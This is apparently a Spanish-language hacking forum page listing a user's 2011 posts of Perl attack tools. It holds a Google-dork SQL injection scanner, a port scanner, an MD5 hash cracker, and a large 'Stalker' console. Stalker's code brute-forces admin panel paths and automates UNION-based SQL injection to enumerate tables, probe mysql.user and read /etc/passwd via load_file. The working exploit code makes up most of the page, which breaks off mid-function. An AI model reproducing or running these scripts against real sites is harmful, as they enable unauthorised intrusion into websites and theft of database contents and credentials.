elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


  Mostrar Mensajes
Páginas: 1 ... 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 [51] 52 53 54 55
501  Programación / Scripting / Re: [perl] Porque no me deja instalar modulos? en: 7 Octubre 2011, 16:00 pm
Una forma mas facil de instalar modulos de perl en windows es usar el comando ppm install
502  Programación / Scripting / [Perl] Search in google for scan SQLI en: 7 Octubre 2011, 15:57 pm
Un simple scanner de SQLI para usar en google

Código
  1. #!usr/bin/perl
  2. #Search Google for scan SQLI
  3. #(C) Doddy Hackman 2011
  4.  
  5. use LWP::UserAgent;
  6. use HTML::LinkExtor;
  7.  
  8. my $nave = LWP::UserAgent->new;
  9. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  10. $nave->timeout(5);
  11.  
  12. head();
  13.  
  14. print "\n\n[Dork] : ";
  15. chomp(my $dork = <stdin>);
  16. print "\n\n[Pages] : ";
  17. chomp(my $pages = <stdin>);
  18. print "\n\n[Starting the search]\n\n";
  19. my @links = google($dork,$pages);
  20. print "\n[Links Found] : ".int(@links)."\n\n\n";
  21. print "[Starting the scan]\n\n\n";
  22. for my $link(@links) {
  23. if ($link=~/(.*)=/ig) {
  24. my $web = $1;
  25. sql($web."=");
  26. }}
  27. print "\n\n[+] Finish\n";
  28. copyright();
  29. <stdin>;
  30.  
  31. sub google {
  32. my($a,$b) = @_;
  33. for ($pages=10;$pages<=$b;$pages=$pages+10) {
  34. $code = toma("http://www.google.com.ar/search?hl=&q=".$a."&start=$pages");
  35. my @links = get_links($code);
  36. for my $l(@links) {
  37. if ($l =~/webcache.googleusercontent.com/) {
  38. push(@url,$l);
  39. }
  40. }
  41. }
  42.  
  43. for(@url) {
  44. if ($_ =~/cache:(.*?):(.*?)\+/) {
  45. push(@founds,$2);
  46. }
  47. }
  48.  
  49. my @founds = repes(@founds);
  50.  
  51. return @founds; 
  52. }
  53.  
  54.  
  55. sub sql {
  56. my ($pass1,$pass2) = ("+","--");
  57. my $page = shift;
  58. $code1 = toma($page."-1".$pass1."union".$pass1."select".$pass1."666".$pass2);
  59. if ($code1=~/The used SELECT statements have a different number of columns/ig) {
  60. print "[+] SQLI : $page\a\n";
  61. }}
  62.  
  63. sub get_links {
  64.  
  65. $test = HTML::LinkExtor->new(\&agarrar)->parse($_[0]);
  66. return @links;
  67.  
  68. sub agarrar {
  69. my ($a,%b) = @_;
  70. push(@links,values %b); 
  71. }
  72. }
  73.  
  74. sub repes {
  75. foreach $test(@_) {
  76. push @limpio,$test unless $repe{$test}++;
  77. }
  78. return @limpio;
  79. }
  80.  
  81. sub head {
  82. print "\n\n-- == Search Google == --\n\n";
  83. }
  84.  
  85. sub copyright {
  86. print "\n\n(C) Doddy Hackman 2011\n\n";
  87. exit(1);
  88. }
  89.  
  90. sub toma {
  91. return $nave->get($_[0])->content;
  92. }
  93.  
  94. sub tomar {
  95. my ($web,$var) = @_;
  96. return $nave->post($web,[%{$var}])->content;
  97. }
  98.  
  99. #Thanks to explorer (PerlEnEspañol)
  100. # ¿ The End ?
503  Programación / Scripting / [Perl] Scan Port By Doddy H en: 7 Octubre 2011, 15:56 pm
HOla a todos  aca les traigo un simple scanner de puertos
hecho en perl

Código
  1. #!usr/bin/perl
  2. #Scan Port
  3. #(C) Doddy Hackman 2011
  4. #Creditos
  5.  
  6. use IO::Socket;
  7.  
  8. head();
  9. unless($ARGV[0]) {
  10. print "\n\n[sintax] : ".$0." <ip> \n\n";
  11. } else {
  12. scan($ARGV[0]);
  13. }
  14. copyright();
  15.  
  16. sub scan {
  17.  
  18. my %ports = ("21"=>"ftp",
  19. "22"=>"ssh",
  20. "25"=>"smtp",
  21. "80"=>"http",
  22. "110"=>"pop3",
  23. "3306"=>"mysql"
  24. );
  25.  
  26.  
  27. print "\n[+] Scanning $_[0]\n\n\n";
  28.  
  29. for my $port(keys %ports) {
  30.  
  31. if (new IO::Socket::INET(PeerAddr => $_[0],PeerPort => $port,Proto => "tcp",Timeout  => 0.5)) {
  32. print "[Port] : ".$port." [Service] : ".$ports{$port}."\n";
  33. }
  34. }
  35.  
  36. }
  37.  
  38. sub head {
  39. print "\n\n-- == Scan Port == --\n\n";
  40. }
  41.  
  42. sub copyright {
  43. print "\n\n(C) Doddy Hackman 2011\n\n";
  44. exit(1);
  45. }
  46.  
  47.  

Ejemplo de uso

Código:
perl scan.pl localhost
504  Programación / Scripting / [Perl] Search MD5 en: 7 Octubre 2011, 15:56 pm
Hola a todos

HOy acabo de hacer un crackeador de hash md5 con salto o sin el
En esta version es con ventanas usandos tk


Código
  1. #Search MD5 
  2. #Version : Tk
  3. #Author : Doddy Hackman
  4.  
  5.  
  6. use Tk;
  7. use Digest::MD5;
  8. use Tk::FileSelect;
  9. use Tk::ROText;
  10.  
  11. if ($^O eq 'MSWin32') {
  12. use Win32::Console; 
  13. Win32::Console::Free();
  14. }
  15.  
  16. my $w = MainWindow->new(-background=>"black");
  17. $w->title("Search MD5");
  18. $w->geometry("500x200+20+20");
  19. $w->resizable(0,0);
  20. $w->Label(-text=>"Search MD5",-background=>"black",-foreground=>"cyan",-font=>"Impact")->pack();
  21. $w->Label(-text=>"Hash",-background=>"black",-foreground=>"green")->place(-x =>40, -y => 55);
  22. my $hash = $w->Entry(-text=>"30d554c3665c8f204622b2003c77d994",-background=>"black",-foreground=>"green")->place(-x =>90, -y => 55);
  23. $w->Label(-text=>"Salt",-background=>"black",-foreground=>"green")->place(-x =>260, -y => 55);
  24. my $salt = $w->Entry(-text=>"X",-background=>"black",-foreground=>"green")->place(-x =>290, -y => 55);
  25. $w->Label(-text=>"Wordlist",-background=>"black",-foreground=>"green")->place(-x =>40, -y => 100);
  26. my $o = $w->Entry(-textvariable=>\$file,-background=>"black",-foreground=>"green")->place(-x =>90, -y => 100);
  27. $w->Button(-text=>"Browse",-background=>"black",-foreground=>"red",-activebackground=>"red",-command=>\&oper)->place(-x =>230, -y => 100);
  28. $w->Button(-text=>"Crack!",-foreground=>"green",-background=>"black",-command=>\&crack,-activebackground=>"green")->place(-x =>180, -y => 160);
  29. $w->Button(-text=>"About",-foreground=>"green",-background=>"black",-command=>\&about,-activebackground=>"green")->place(-x =>240, -y => 160);
  30. $w->Button(-text=>"Exit",-foreground=>"green",-background=>"black",-command=>[$w =>'destroy'],-activebackground=>"green")->place(-x =>300, -y => 160);
  31.  
  32. sub oper{ 
  33. $w->update;
  34. $browse = $w->FileSelect(-directory => "/");
  35. my $file = $browse->Show;
  36. $o->configure (-text =>$file);
  37. }
  38.  
  39. sub about {
  40. my $venta = MainWindow->new(-background=>"black");
  41. $venta->geometry("300x180+20+20");
  42. $venta->title("About");
  43. $venta->resizable(0,0);
  44. $venta->Label(-text=>"\nSearch MD5\n\n\nProgrammer : Doddy Hackman\n\nContact : lepuke[at]hotmail[com]\n\n",-background=>"black",-foreground=>"yellow")->pack();
  45. $venta->Button(-text=>"Exit",-foreground=>"yellow",-background=>"black",-command => [$venta => 'destroy'],-activebackground=>'yellow')->pack()
  46. }
  47.  
  48. sub crack {
  49. my $hash = $hash->get;
  50. my $salt = $salt->get;
  51. my $wordlist = $o->get;
  52.  
  53. my $console = MainWindow->new(-background=>"black");
  54. $console->title("Status");
  55. $console->resizable(0,0);
  56. $console->geometry("400x320+20+20");
  57. $console->Label(-text=>"Status",-background=>"black",-foreground=>"green",-font=>"Impact")->pack();
  58. my $box = $console->ROText(-background=>"black",-foreground=>"green",-width=> 45,-height=> 15)->place(-x =>40,-y=>50);
  59. $console->Button(-text=>"Exit",-background=>"black",-foreground=>"green",-activebackground=>"green",-command=> [$console => 'destroy'],-width=>"20")->place(-x =>130, -y => 280);
  60. if ($salt eq "X") { $salt = "";}
  61. unless (-f $wordlist) { $box->insert('end',"\n\n[-] Wordlist dont exist!\n\n");next;}
  62. if(length($hash)==32) {
  63. $box->insert('end',"[Hash] : $hash\n[Salt] : $salt\n[Wordlist] : $wordlist\n\n");
  64. open word,$wordlist;
  65. @words = <word>;
  66. close word;
  67. for my $pass(@words) {
  68. chomp $pass;
  69. $console->update;
  70. $box->insert('end',"[+] Trying with $pass\n");
  71. $digest = Digest::MD5->md5_hex($pass.$salt);chomp $digest;
  72. if ($digest == $hash) {print "\a\a";$box->insert('end',"\n[Hash encoded] : $hash\n[Hash decoded] : $pass\n\n");$ok="1";last;}
  73. }} else { $box->insert('end',"\n\n[-] The hash is incorrect\n\n");next;}
  74. unless ($ok eq "1") {$box->insert('end',"\n\n[-] Sorry , hash not cracked\n\n");next;}}
  75.  
  76. MainLoop;
  77.  
  78.  
505  Programación / Scripting / [Perl] Stalker By Doddy H en: 7 Octubre 2011, 15:56 pm
Bueno aca les traigo un programa que eh estado
haciendo esta ultima semana

Se llama stalker , sirve como consola en caso de que cmd.exe no este
disponible y tiene las siguiente funciones

  • Mostrar IP de servidor especifico
  • Capturar todos los links de una pagina
  • Recibir procesos de nuestra maquina
  • Cerrar el proceso que nos moleste
  • Conectar a un servidor y mostrar respuesta
  • Capturar metodos HTTP de un servidor web
  • Verificar listado de directorios en una pagina
  • Codificacion y decodificacion de hex/ascii/base64
  • Escanear puertos de una IP
  • Buscar panel de administracion
  • Crackear hash md5 mediante webs
  • Buscar en google paginas vulnerables a SQLI
  • Cliente FTP
  • Navegador por nuestros archivos y directorios
  • Y ejecutar comandos
Código
  1. #!usr/bin/perl
  2. #Project STALKER (C) Doddy Hackman 2011
  3. #
  4. #ppm install http://www.bribes.org/perl/ppm/DBI.ppd
  5. #ppm install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd
  6. #
  7. #You need download this http://search.cpan.org/~animator/Color-Output-1.05/Output.pm
  8. #
  9.  
  10. use IO::Socket;	
  11. use HTML::LinkExtor;
  12. use LWP::UserAgent;
  13. use Win32::OLE qw(in);
  14. use Win32::Process;
  15. use Net::FTP;
  16. use Cwd;
  17. use URI::Split qw(uri_split);
  18. use MIME::Base64;
  19. use DBI;
  20. use Color::Output;
  21. Color::Output::Init
  22.  
  23. @panels=('admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx'
  24. ,'admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx'
  25. ,'asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx'
  26. ,'asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx'
  27. ,'admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx'
  28. ,'login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx'
  29. ,'administracion/index.asp','administracion/index.aspx','administracion/login.asp'
  30. ,'administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx'
  31. ,'administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php'
  32. ,'admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php'
  33. ,'admin/administrador.php','admin/default.php','administracion/','administracion/index.php'
  34. ,'administracion/login.php','administracion/ingresar.php','administracion/admin.php'
  35. ,'administration/','administration/index.php','administration/login.php'
  36. ,'administrator/index.php','administrator/login.php','administrator/system.php','system/'
  37. ,'system/login.php','admin.php','login.php','administrador.php','administration.php'
  38. ,'administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php'
  39. ,'yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html'
  40. ,'admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html'
  41. ,'admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html'
  42. ,'administrator/','administrator/index.html','administrator/login.html'
  43. ,'administrator/account.html','administrator/account.php','administrator.html','login.html'
  44. ,'modelsearch/login.php','moderator.php','moderator.html','moderator/login.php'
  45. ,'moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/'
  46. ,'account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html'
  47. ,'admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp'
  48. ,'admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp'
  49. ,'admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp'
  50. ,'administrator/login.asp','administrator/account.asp','administrator.asp'
  51. ,'modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp'
  52. ,'account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/'
  53. ,'fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php'
  54. ,'sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp'
  55. ,'ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html'
  56. ,'Server.asp','Server/','wp-admin/','administr8.php','administr8.html'
  57. ,'administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp'
  58. ,'webadmin.html','administratie/','admins/','admins.php','admins.asp'
  59. ,'admins.html','administrivia/','Database_Administration/','WebAdmin/'
  60. ,'useradmin/','sysadmins/','admin1/','system-administration/','administrators/'
  61. ,'pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/'
  62. ,'administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/'
  63. ,'cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/
  64. ','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/
  65. ','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/
  66. ','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/
  67. ','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/'
  68. ,'project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/'
  69. ,'wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/'
  70. ,'Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/'
  71. ,'irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/'
  72. ,'administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/'
  73. ,'Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/'
  74. ,'cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/'
  75. ,'server/','database_administration/','power_user/','system_administration/'
  76. ,'ss_vms_admin_sm/');
  77.  
  78.  
  79. unless (-d "/logs/webs") {
  80. mkdir("logs/",777);
  81. mkdir("logs/webs/",777);
  82. }
  83.  
  84. my $nave = LWP::UserAgent->new;
  85. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  86. $nave->timeout(5);
  87.  
  88. head();
  89.  
  90. getinfo();
  91.  
  92. $SIG{INT} = \&next;
  93.  
  94. while(1) {
  95. cprint "\x037"; #13
  96. menujo();
  97. cprint "\x030";
  98. }
  99.  
  100. sub getinfo {
  101. $so = $^O;
  102. $login = Win32::LoginName();
  103. $domain = Win32::DomainName();
  104. cprint "\x0313"; #13
  105. print "\n\n[SO] : $so [Login] : $login [Group] : $domain\n\n";
  106. cprint "\x030";
  107. }
  108.  
  109.  
  110. sub menujo {
  111. print "\n\n>";
  112. chomp (my $cmd = <stdin>);
  113. print "\n\n";
  114.  
  115. if ($cmd=~/getinfo/ig) {
  116. getinfo();
  117. }
  118. elsif ($cmd =~/getip (.*)/) {
  119. my $te = $1;
  120. if ($te eq "" or $te eq " ") {
  121. print "\n[+] sintax : getip <host>\n";
  122. }
  123. print "\n[IP] : ".getip($1)."\n";
  124. print "\n";
  125. }
  126.  
  127. elsif ($cmd =~/getlink (.*)/) {
  128. print "[+] Extracting links in the page\n\n\n";
  129. $code = toma($1);
  130. my @re = get_links($code);
  131. for my $url(@re) {
  132. chomp $url;
  133. print "[Link] : $url\n";
  134. }
  135. print "\n\n[+] Finish\n";
  136. }
  137.  
  138. elsif ($cmd=~/help/) {
  139. helpme();
  140. }
  141.  
  142. elsif ($cmd=~/getprocess/) {
  143. my %re = getprocess();
  144.  
  145.  
  146. for my $data(keys %re) {
  147. ($proceso,$pid) = ($t=~/(.*):(.*)/ig);
  148. print "[+] Proceso : ".$data."\n";
  149. print "[+] PID : ".$re{$data}."\n\n";
  150. }
  151. }
  152. elsif ($cmd=~/killprocess (.*) (.*)/) {
  153. if (killprocess($1,$2)) {
  154. print "[+] Process $1 closed";
  155. }
  156. }
  157. elsif ($cmd=~/conec (.*) (.*) (.*)/) {
  158. print conectar($1,$2,$3);
  159. }
  160. elsif ($cmd=~/allow (.*)/) {
  161. $re = conectar($1,"80","GET / HTTP/1.0\r\n");
  162. if ($re=~/Allow:(.*)/ig) {
  163. print "[+] Metodos : ".$1."\n";
  164. }}
  165. elsif ($cmd=~/paths (.*)/) {
  166. scanpaths($1);
  167. }
  168. elsif ($cmd=~/encodehex (.*)/) {
  169. print "\n\n[+] ".hex_en($1)."\n\n";
  170. }
  171. elsif ($cmd=~/decodehex (.*)/) {
  172. print "\n\n[+] ".hex_de($1)."\n\n";
  173. }
  174. elsif ($cmd=~/download (.*) (.*)/) {
  175. my $file,$name = $1,$2;
  176. if (download($1,$2)) {
  177. print "[+] File downloaded\n";
  178. }
  179. }
  180. elsif ($cmd=~/encodeascii (.*)/) {
  181. print "\n\n[+] ".ascii($1)."\n\n";
  182. }
  183. elsif ($cmd=~/decodeascii (.*)/) {
  184. print "\n\n[+] ".ascii_de($1)."\n\n";
  185. }
  186. elsif ($cmd=~/encodebase (.*)/) {
  187. print "\n\n[+] ".base($1)."\n\n";
  188. }
  189. elsif ($cmd=~/decodebase (.*)/) {
  190. print "\n\n[+] ".base_de($1)."\n\n";
  191. }
  192. elsif ($cmd=~/aboutme/) {
  193. aboutme();
  194. }
  195. elsif ($cmd=~/scanport (.*)/) {
  196. scanport($1);
  197. }
  198. elsif ($cmd=~/panel (.*)/) {
  199. scanpanel($1);
  200. }
  201. elsif ($cmd=~/scangoogle/) {
  202. print "[Dork] : ";
  203. chomp(my $dork = <stdin>);
  204. print "\n\n[Pages] : ";
  205. chomp(my $pages = <stdin>);
  206. print "\n\n[Starting the search]\n\n";
  207. my @links = google($dork,$pages);
  208. print "\n[Links Found] : ".int(@links)."\n\n\n";
  209. print "[Starting the scan]\n\n\n";
  210. for my $link(@links) {
  211. if ($link=~/(.*)=/ig) {
  212. my $web = $1;
  213. sql($web."=");
  214. }}
  215. print "\n\n[+] Finish\n";
  216. }
  217. elsif ($cmd=~/getpass (.*)/) {
  218. crackit($1);
  219. }
  220. elsif ($cmd=~/ftp (.*) (.*) (.*)/) {
  221. ftp($1,$2,$3);
  222. }
  223. elsif ($cmd=~/navegator/) {
  224. nave:
  225. print getcwd().">";
  226. chomp(my $rta = <stdin>);
  227. print "\n\n";
  228. if ($rta=~/list/) {
  229. my @files = coleccionar(getcwd());
  230. for(@files) {
  231. if (-f $_) {
  232. print "[File] : ".$_."\n";
  233. } else {
  234. print "[Directory] : ".$_."\n";
  235. }}}
  236. if ($rta=~/cd (.*)/) {
  237. my $dir = $1;
  238. if (chdir($dir)) {
  239. print "\n[+] Directory changed\n";
  240. } else {
  241. print "\n[-] Error\n";
  242. }}
  243. if ($rta=~/del (.*)/) {
  244. my $file = getcwd()."/".$1;
  245. if (-f $file) {
  246. if (unlink($file)) {
  247. print "\n[+] File Deleted\n";
  248. } else {
  249. print "\n[-] Error\n";
  250. }
  251. } else {
  252. if (rmdir($file)) {
  253. print "\n[+] Directory Deleted\n";
  254. } else {
  255. print "\n[-] Error\n";
  256. }}}
  257. if ($rta=~/rename (.*) (.*)/) {
  258. if (rename(getcwd()."/".$1,getcwd()."/".$2)) {
  259. print "\n[+] File Changed\n";
  260. } else {
  261. print "\n[-] Error\n";
  262. }}
  263. if ($rta=~/open (.*)/) {
  264. my $file = $1;
  265. chomp $file;
  266. system($file);
  267. #system(getcwd()."/".$file);
  268. }
  269. if ($rta=~/help/) {
  270. print "\nCommands : help cd list del rename open exit\n\n";
  271. }
  272. if ($rta=~/exit/) {
  273. next;
  274. }
  275. print "\n\n";
  276. goto nave;
  277. }
  278. elsif ($cmd=~/kobra (.*)/) {
  279. my $url = $1;
  280. chomp $url;
  281. scansqli($url,"--");
  282. }
  283. elsif ($cmd=~/mysql (.*) (.*) (.*)/) {
  284. enter($1,$2,$3);
  285. }
  286. elsif ($cmd=~/exit/) {
  287. copyright();
  288. <stdin>;
  289. exit(1);
  290. }
  291. else {
  292. system($cmd);
  293. }
  294. #print "\n\n";
  295. }
  296.  
  297.  
  298. sub scansqli {
  299. print "[Status] : Scanning.....\n";
  300. $pass = &bypass($_[1]);
  301. my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
  302. my $save = $auth;
  303. if ($_[0]=~/hackman/ig) {
  304. savefile($save.".txt","\n[Target Confirmed] : $_[0]\n");
  305. &menu_options($_[0],$pass,$save);
  306. }
  307. my ($gen,$save,$control) = &length($_[0],$_[1]);
  308. if ($control eq 1) {
  309. print "[Status] : Enjoy the menu\n\n";
  310. &menu_options($gen,$pass,$save);
  311. } else {
  312. print $control;
  313. print "[Status] : Length columns not found\n\n";
  314. menujo();
  315. }
  316. }
  317.  
  318. sub length {
  319. my $rows  = "0";
  320. my $asc;
  321. my $page = $_[0];
  322. ($pass1,$pass2) = &bypass($_[1]);
  323. $inyection = $page.$pass1."and".$pass1."1=0".$pass1."order".$pass1."by".$pass1."9999999999".$pass2;
  324. $code = toma($inyection);
  325. if ($code=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $code=~ /mysql_free_result/ig || $code =~ /mysql_fetch_assoc/ig ||$code =~ /mysql_num_rows/ig || $code =~ /mysql_fetch_array/ig || $code =~/mysql_fetch_assoc/ig || $code=~/mysql_query/ig || $code=~/mysql_free_result/ig || $code=~/equivocado en su sintax/ig || $code=~/You have an error in your SQL syntax/ig || $code=~/unknown column/ig || $code=~/Call to undefined function/ig) {
  326. my $testar1 = toma($page.$pass1."and".$pass1."1=0".$pass2);
  327. my $testar2 = toma($page.$pass1."and".$pass1."1=1".$pass2);
  328. unless ($testar1 eq $testar2) {
  329. my $patha = $1;
  330. chomp $patha;
  331. $alert = "char(".ascii("RATSXPDOWN1RATSXPDOWN").")";
  332. $total = "1";
  333. for my $rows(2..200) {
  334. $asc.= ","."char(".ascii("RATSXPDOWN".$rows."RATSXPDOWN").")"; 
  335. $total.= ",".$rows;
  336. $injection = $page.$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$alert.$asc;
  337. $test = toma($injection);
  338. if ($test=~/RATSXPDOWN/) {
  339. @number = $test =~m{RATSXPDOWN(\d+)RATSXPDOWN}g;
  340. $control = 1;
  341. my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
  342. my $save = $auth;
  343. savefile($save.".txt","\n[Target confirmed] : $page");
  344. savefile($save.".txt","[Bypass] : $_[1]\n");
  345. savefile($save.".txt","[Limit] : The site has $rows columns");
  346. savefile($save.".txt","[Data] : The number @number print data");
  347. if ($patha) {
  348. savefile($save.".txt","[Full Path Discloure] : $patha");
  349. }
  350. $total=~s/$number[0]/hackman/;
  351. savefile($save.".txt","[SQLI] : ".$page.$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total);
  352. return($page.$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total,$save,$control);
  353. }}}}}
  354.  
  355.  
  356. sub details {
  357. my ($page,$bypass,$save) = @_;
  358. ($pass1,$pass2) = &bypass($bypass);
  359. savefile($save.".txt","\n");
  360. if ($page=~/(.*)hackman(.*)/ig) {
  361. print "\n\n[+] Searching information..\n\n"; 
  362. my  ($start,$end) = ($1,$2);
  363. $inforschema = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."information_schema.tables".$pass2;
  364. $mysqluser = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."mysql.user".$pass2;
  365. $test3 = toma($start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
  366. $test1 = toma($inforschema);
  367. $test2 = toma($mysqluser);
  368. if ($test2=~/ERTOR854/ig) {
  369. savefile($save.".txt","[mysql.user] : ON");
  370. print "[mysql.user] : ON\n";
  371. } else {
  372. print "[mysql.user] : OFF\n";
  373. savefile($save.".txt","[mysql.user] : OFF");
  374. }
  375. if ($test1=~/ERTOR854/ig) {
  376. print "[information_schema.tables] : ON\n";
  377. savefile($save.".txt","[information_schema.tables] : ON");
  378. } else {
  379. print "[information_schema.tables] : OFF\n";
  380. savefile($save.".txt","[information_schema.tables] : OFF");
  381. }
  382. if ($test3=~/ERTOR854/ig) {
  383. print "[+] load_file permite ver los archivos\n";
  384. savefile($save.".txt","[load_file] : ".$start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
  385. }
  386. $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char(69,82,84,79,82,56,53,52))))"; 
  387. $injection = $start.$concat.$end.$pass2;
  388. $code = toma($injection);
  389. if ($code=~/ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854/g) {
  390. print "\n[!] DB Version : $1\n[!] DB Name : $2\n[!] user_name : $3\n\n";
  391. savefile($save.".txt","\n[!] DB Version : $1\n[!] DB Name : $2\n[!] user_name : $3\n");
  392. } else {
  393. print "\n[-] Not found any data\n";
  394. }}}
  395.  
  396.  
  397. sub menu_options {
  398.  
  399. my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
  400. my $save = $auth;
  401. print "\n/logs/webs/$save>";
  402. chomp (my $rta = <stdin>);
  403.  
  404. if ($rta=~/help/) {
  406.  
  407. commands : details tables columns dbs othertable othercolumn
  408.            mysqluser dumper logs exit 
  409.  
  410. );
  411. }
  412.  
  413.  
  414. if ($rta =~/tables/) {
  415. schematables($_[0],$_[1],$save);
  416. &reload;	
  417. }
  418. elsif ($rta =~/columns (.*)/) {
  419. my $tabla = $1;
  420. schemacolumns($_[0],$_[1],$save,$tabla);
  421. &reload;
  422. }
  423. elsif ($rta =~/dbs/) {
  424. &schemadb($_[0],$_[1],$save);
  425. &reload;
  426. }
  427. elsif ($rta =~/othertable (.*)/) {
  428. my $data = $1;
  429. &schematablesdb($_[0],$_[1],$data,$save);
  430. &reload;
  431. }
  432. elsif ($rta =~/othercolumn (.*) (.*)/){
  433. my ($db,$table) = ($1,$2);
  434. &schemacolumnsdb($_[0],$_[1],$db,$table,$save);
  435. &reload;
  436. }
  437. elsif ($rta =~/mysqluser/) {
  438. &mysqluser($_[0],$_[1],$save);
  439. &reload;
  440. }
  441. elsif ($rta=~/logs/) {
  442. $t = "logs/webs/$save.txt";
  443. system("start $t");
  444. &reload;
  445. }
  446. elsif ($rta=~/exit/) {
  447. next;
  448. }
  449.  
  450. elsif ($rta=~/dumper (.*) (.*) (.*)/) {
  451. my ($tabla,$col1,$col2) = ($1,$2,$3);
  452. &dump($_[0],$col1,$col2,$tabla,$_[1],$save);
  453. &reload;
  454. }
  455. elsif ($rta =~/details/) {
  456. &details($_[0],$_[1],$save);
  457. &reload;
  458. }
  459. else {
  460. &reload;
  461. }
  462. }
  463.  
  464.  
  465.  
  466. sub schematables {
  467. $real = "1";
  468. my ($page,$bypass,$save) = @_;
  469. savefile($save.".txt","\n");
  470. print "\n";
  471. my $page1 = $page;
  472. ($pass1,$pass2) = &bypass($_[1]);
  473. savefile($save.".txt","[DB] : default");
  474. print "\n[+] Searching tables with schema\n\n";
  475. $page =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  476. $page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  477. $code = toma($page1.$pass1."from".$pass1."information_schema.tables".$pass2);
  478. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) { 
  479. my $resto = $1;
  480. $total = $resto - 17; 
  481. print "[+] Tables Length :  $total\n\n";
  482. savefile($save.".txt","[+] Searching tables with schema\n");
  483. savefile($save.".txt","[+] Tables Length :  $total\n");
  484. my $limit = $1;
  485. for my $limit(17..$limit) {
  486. $code1 = toma($page.$pass1."from".$pass1."information_schema.tables".$pass1."limit".$pass1.$limit.",1".$pass2);
  487. if ($code1 =~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  488. my $table = $1;
  489. chomp $table;
  490. print "[Table $real Found : $table ]\n";
  491. savefile($save.".txt","[Table $real Found : $table ]");
  492. $real++;
  493. }}
  494. print "\n";
  495. } else {
  496. print "\n[-] information_schema = ERROR\n";
  497. }	 
  498. }
  499.  
  500. sub reload {
  501. &menu_options($_[0]);
  502. }
  503.  
  504.  
  505. sub schemacolumns {
  506. my ($page,$bypass,$save,$table) = @_;
  507. my $page3 = $page;
  508. my $page4 = $page;
  509. savefile($save.".txt","\n");
  510. print "\n";
  511. ($pass1,$pass2) = &bypass($bypass);
  512. print "\n[DB] : default\n";
  513. savefile($save.".txt","[DB] : default");
  514. savefile($save.".txt","[Table] : $table\n");
